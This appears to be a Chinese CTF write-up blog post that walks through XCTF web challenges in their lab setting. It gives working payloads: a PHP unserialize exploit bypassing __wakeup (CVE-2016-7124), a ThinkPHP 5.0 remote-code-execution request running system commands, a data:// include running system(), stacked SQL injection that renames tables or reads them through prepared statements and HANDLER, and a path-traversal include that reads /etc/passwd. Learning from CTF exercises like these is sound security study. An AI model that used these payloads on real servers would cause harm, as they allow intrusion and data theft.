[CTF学习] 攻防世界进阶区学习,1分题 + 2分题

在这里插入图片描述

一、“1”分题

1. baby_web

在这里插入图片描述

  • 题目内容提示初始页面,一般初始页面都是index.php index.html
  • 进入链接后,这里显示的时1.php
    在这里插入图片描述
  • 当直接访问index.php 的时候会再次跳转到1.php,存在302跳转
  • 使用浏览器的工具直接调试,在network那里刷新查看,确实是302跳转,然后在头部信息中看到flag
    在这里插入图片描述
  • 补充:302跳转的也可以使用命令curl 进行获取,加上-i参数查看头部信息
    在这里插入图片描述

2. Training-WWW-Robots

在这里插入图片描述

  • 看题目就比较明显的,还是robots协议,进入链接后也很明显的介绍了
    在这里插入图片描述

  • 直接访问robots.txt 文件,得到一个PHP文件fl0g.php

  • 直接访问文件即可获得flag
    在这里插入图片描述
    在这里插入图片描述

3. PHP2

在这里插入图片描述

  • 进入链接,这里说的是需要我们登陆,但尝试login.php等都没有相应的文件存在
    在这里插入图片描述

  • 扫一下目录,看到一个index.phps 文件(这里主要看字典是否给力了)
    在这里插入图片描述

  • 访问文件内容如下
    在这里插入图片描述

  • 只需要上传一个参数id且值等于admin即可,但需要进行两次URL编码

  • admin --> %25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
    在这里插入图片描述


二、“2”分题

1. Web_php_unserialize

在这里插入图片描述

  • 题目如下
    在这里插入图片描述

  • 代码如下,简单的分析一下代码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { //对象创建时调用
        $this->file = $file; 
    }
    function __destruct() { //对象销毁时调用
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { //unserialize()时会调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配,能够匹配 O:数字 格式开头的内容
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
  • 题目是一个反序列化问题,主要知识点是需要绕过正则匹配和__wakeup()方法

  • preg_match('/[oc]:\d+:/i', $var)正则匹配,在传入的序列化对象中有 O:4 的内容,会被匹配到,可以更改为O:+4 即可绕过

  • __wakeup() (CVE-2016-7124):当 PHP5<5.6.25、PHP7<7.0.1 时,如果成员属性数目大于实际数目时可以绕过此方法

  • 构造EXP如下

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
}

$demo = new Demo('fl4g.php');
$pay = str_replace('O:', 'O:+', serialize($demo));
$pay = str_replace(':1:', ':2:', $pay);
echo base64_encode($pay);

?>

在这里插入图片描述

2. php_rce

在这里插入图片描述

  • 一进去就看到Think PHP v5.0,这个版本存在一个远程代码执行漏洞,然后题目也是php rce

在这里插入图片描述

  • 利用payload: 依次执行命令获取flag即可
  • s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

3. Web_php_include

  • 查看内容,这里可以利用PHP伪协议,虽然php://会被过滤,但还可以尝试使用file:// data:// 协议等
    在这里插入图片描述
  • 这里利用data:// 协议,用来执行PHP代码,如下,执行phpinfo() 成功
    在这里插入图片描述
  • 接下来将phpinfo() 换成system() 函数,用来执行命令
    在这里插入图片描述
  • flag文件在当前目录下,直接cat即可,但需要注意的是,flag需要查看源代码才能看到
    在这里插入图片描述

4. supersqli

在这里插入图片描述

4.1 方法一:堆叠注入改表获取
  • 先判断一下注入类型,常规就是and 1=1or 1=1 等,然后考虑是单引号还是双引号闭合等

  • 观察这里,在后面直接输入单引号时报错,然后使用--+ 进行闭合时能正常搜索,所以可以知道是单引号闭合
    在这里插入图片描述
    在这里插入图片描述

  • 从图中可以看到返回的内容至少都有两个字段,所以直接order by 3 ,发现超出范围,然后再尝试order by 2 能够显示,所以可以知道字段就是两个

在这里插入图片描述

  • 然后union 联合注入的时候发现过滤了很多关键字
    在这里插入图片描述

  • 从里面可以看到,比如show 等关键字没被过滤掉,所以可以先尝试堆叠注入,如果行不通再尝试怎么绕过过滤

  • 从图中可以看到,可以采用堆叠注入
    在这里插入图片描述

  • 接下来就是获取字段了,可以使用 show columns from table_name 的形式获取,但是表名需要使用反引号
    在这里插入图片描述

  • 这里可以知道flag在表1919810931114514 中,不过select 被过滤了,所以想直接跨表获取内容是不可能的

  • 再来看有哪些关键字被过滤了

  • preg_match("/select|update|delete|drop|insert|where|\./i",$inject)

  • 仔细看alter 关键字没有被过滤,那可以考虑一下,是不是可以通过利用alter关键字修改表名的方式绕过过滤

  • 可以知道当前PHP脚本获取的数据是words 表中的数据,然后查看一下words表中的字段信息
    在这里插入图片描述

  • 第一个字段是id ,我们获取的内容也是通过这个id 获取到的,然后1919810931114514表中的第一个字段就是flag

  • 所以这里有三个步骤

1. 把 words 表的名字改成其他任意名字,注意两个表的名字不能有冲突,否则不会成功
2. 把 1919810931114514 表名字改成 words 
3. 将 flag 字段名改成 id
注意:上面三个步骤顺序不能颠倒,而且必须同时修改,也就是一次性修改
如果先执行第二步,因为words表名存在,无法修改成功
如果三个步骤没有一次性修改,则因为words表名已经被修改
导致直接破坏了PHP脚本的完整性,脚本获取不到words表,所以后继的操作也将不能继续
  • payload如下
-1';alter table `words` rename `aaa`;alter table `1919810931114514` rename `words`;alter table `words` change flag id varchar(100); --+
  • 执行结束后,直接1' or '1'='1 即可
    在这里插入图片描述
4.2 方法二:堆叠+预编译
4.2.1 预编译讲解
  • 简单理解一下MySQL中的预编译

正常情况下使用预编译功能,都是从客户端发送一条SQL语句到服务器,然后服务器校验传递过来的SQL语句语法格式是否正确,再将SQL语句编译成可执行的函数,最后开始执行SQL语句

在服务端编译和校验的过程耗费的时间会比较多,如果执行的数据量比较大,会非常的耽搁时间

但是如果每次执行的SQL语句语法都是相同的,只有其中的一些值有所不同,通过采用预编译功能,就可以达到只针对SQL语句进行一次语法校验和编译,然后填入数据就能直接执行,从而很大程度上提高了效率

简单来说,预编译的实现过程就是提前将需要使用的SQL语句编译好,然后直接使用即可,预编译其实是可以在一定程度上防御SQL注入的,但是在堆叠注入中就容易被很好的利用,导致SQL注入

  • 预编译的实现过程
# 预编译一条SQL语句执行语法结构
PREPARE stmt_name FROM preparable_stm;

# SET 绑定参数
SET @str=data;

# 执行语句
EXECUTE stmt_name [USING @var_name [, @var_name]...];
  • 举例1:
# 准备执行语句,问好表示需要填充的数据位置
PREPARE func FROM 'select * from test where id=?';

# SET 绑定一个参数
SET @id=1;

# 执行语句
EXECUTE func using @id;

在这里插入图片描述

  • 举例2:
# 先SET绑定SQL指令
SET @sql='select * from test';

# 准备执行
PREPARE e FROM @sql;

# 执行指令
EXECUTE e;

在这里插入图片描述

4.2.2 题目解法
  • OK,上面知道了MySQL的预编译后,下面回到题目

  • 这里可以知道了select 关键字是被过滤了的
    在这里插入图片描述

  • 然后可以尝试一下使用预编译的方式,先将select 拆解,然后使用concat函数连接,在本地测试一下(注意一下,在本地测试的时候直接就是 from 跟上表名,但是在注入中还是需要使用反引号将表名引起来),如图:
    在这里插入图片描述

  • OK,知道了怎么预编译了,接下来就是编译payload了

  • 同样的也是通过堆叠获取到flag在1919810931114514 表中,所以:

set @f=concat('sel','ect flag from `1919810931114514`');
prepare g from @f;
execute g;
  • 不过在提交payload的时候遇到了问题,这里还是被检查到了,不过好在没有使用正则匹配啊啥的,试一下大小写绕过等常规方法看是否能绕过去
    在这里插入图片描述
  • 好哒,大小写成功绕过
    在这里插入图片描述
4.3 方法三:handler查询
4.3.1 handler学习

还是一样的,先学习一下MySQL中的handler,弄清楚怎么用才是最重要的,详情可以查看官方文档,下面简要学习一下:

首先需要知道的是,handler是MySQL中专有的,用来提供对表存储引擎接口的直接访问,适用于 innoDBMyISAM

简答的理解来说就是:利用handler也可以直接读取表中的内容,可以起到和select一样的效果,不过handler不具备完全的select的所有功能,所以只是在MySQL中存在,并没有写入到SQL语法中。

  • handler的基本语法:
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE


# 简要说明
1. handler tbl_name open # 打开一张表,没有返回结果,只是声明了一个句柄
2. handler tbl_name read index_name # 读取句柄,也就是读取表的内容
# index_name 的取值有:FIRST | NEXT | PREV | LAST
# FIRST 表示读取第一行
# NEXT 继续读取下一行
# PREV 读取上一行
# LAST 读取最后一行
# 除了上面的用法还可以是:
# index_name=value 指定从哪一行开始读取
3. handler tbl_name close # 关闭打开的句柄,在调用该语句之前,句柄不会自己关闭
  • 弄清楚用法后,接下来本地建表测试一下:
# 创建表 handler_test
create table handler_test(
id tinyint auto_increment not null,
username varchar(50) not null,
passwd varchar(100) not null,
primary key(id));

# 插入数据
insert into handler_test value(null,"Jack",md5('jack123'));
insert into handler_test value(null,"Tom",md5('tom123'));
insert into handler_test value(null,"Lucy",md5('lucy123'));
insert into handler_test value(null,"James",md5('james123'));

在这里插入图片描述

  • 接下来使用HANDLER tbl_name READ { FIRST | NEXT }的形式查询信息
# 直接打开表查询
handler handler_test open;
handler handler_test read first;
handler handler_test close;

# 也可以重新取一个表名
handler handler_test open as h;
handler h read first;
handler h close;

在这里插入图片描述

  • 使用索引的形式查找,也即HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)的类型

  • 注意 :因为在创建表的时候是不存在索引的,所以如果直接使用handler查询的话会报错,如下:

在这里插入图片描述

  • 所以需要先创建一个索引
# 创建索引 handler_id
create index handler_id on handler_test(id);

# handler 查询
handler handler_test open as h;
handler h read handler_id=(1);
handler h close;

在这里插入图片描述

4.3.2 题目解法

通过上面对handler的学习,相信题目的解法很容易就知道了

基本思路:也是利用堆叠注入的原理,然后结合handler的特性,实现跨表查询

  • payload如下:
handler `1919810931114514` open as f;
handler f read first;
handler f close;

在这里插入图片描述

5. ics-06

在这里插入图片描述

  • 刚进去就是一个工控云管理系统的,然后随便点击它的功能点,不过都没反应
    在这里插入图片描述
  • 当点击到报表中心的时候,发现有页面跳转了,然后URL中还有提交的参数
  • 下面还显示了一个送分题,在这种有参数id,可以考虑是否存在注入漏洞,代码执行等
  • 一番尝试无果,不是注入,也不是代码执行
    在这里插入图片描述
  • 然后使用burp抓包看一下参数信息,能控制的参数只有id
    在这里插入图片描述
  • 尝试对参数id进行爆破
    在这里插入图片描述
  • 选择payload类型为数字,然后爆破的范围可以适当大一些
    在这里插入图片描述
  • 当提交的id=2333时,在返回的内容中可以看到flag
    在这里插入图片描述

6. warmup

在这里插入图片描述

  • 进去就是一个很大的滑稽。。。
    在这里插入图片描述

  • 然后还是一样的,先看一下前端代码,发现有一个source.php文件
    在这里插入图片描述

  • 直接访问source.php
    在这里插入图片描述

  • 在代码中看到了还有一个文件hint.php,尝试访问一下,然后获取到flag文件名ffffllllaaaagggg
    在这里插入图片描述

  • 回到source.php文件,看一下代码的内容

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 
  • 思路分析:利用点为下面的内容(文件包含)
 if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file']; // 文件包含
        exit;
    }

// 主要在这里,有一个 include 文件包含,可以将传入的 file 参数进行包含
// emmm::checkFile($_REQUEST['file'] 这里会调用类中的函数对参数进行检查,需要绕过
  • emmm类中,有如下判断,需要传入的参数必须在白名单中,也就是写死了,只能包含source.php或者hint.php
  • 所以想直接file=ffffllllaaaagggg的形式获取flag是不可能的
if (in_array($page, $whitelist)) {
                return true;
            }
  • 接下来思考,在代码中能获取到flag的方法只有通过include文件包含获取,但是每次都要经过checkFile()函数的检查,而且也被白名单写死了
  • 既然没有别的利用点,那么可以思考include是否会存在某些漏洞或者什么特性能达到包含flag文件的效果
  • 直接查看PHP手册关于include的描述,内容如下:
    在这里插入图片描述
  • 注意里面很关键的一点:

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 … 开头)——include_path 都会被完全忽略。例如一个文件以 …/ 开头,则解析器会在当前目录的父目录下寻找该文件。

  • 那么,这句话什么意思呢??

可以简单的这么理解,在include的时候,如果定义了绝对或者相对路径,那么会直接包含这个路径下的文件,其余的会被忽略掉

  • 然后接着看下面这段代码,在第一次没有匹配到白名单的内容,然后会对?进行一次切割,mb_substr()函数可以用来截取获得某一段字符串
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

// 这里 mb_strpos() 会根据 ? 进行一次切割
// 如果切割后的内容在白名单中,就会返回 true
  • 结合前面的内容,如果构造hint.php后面加上一个?,那么在第二次切割后就能让checkFile()函数返回true,然后在?后面使用相对路径获取其他文件,那么在include的的特性,会先包含相对路径,忽略掉其余的内容,从而达到包含我们想要的文件

  • 所以,构造file=hint.php?../../../../../etc/passwd,发现能够正常包含
    在这里插入图片描述

  • 最后将/etc/passwd改成/ffffllllaaaagggg即可flag

【结语】 新人入坑,如果有讲的不对的地方,还请各位师傅指出

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值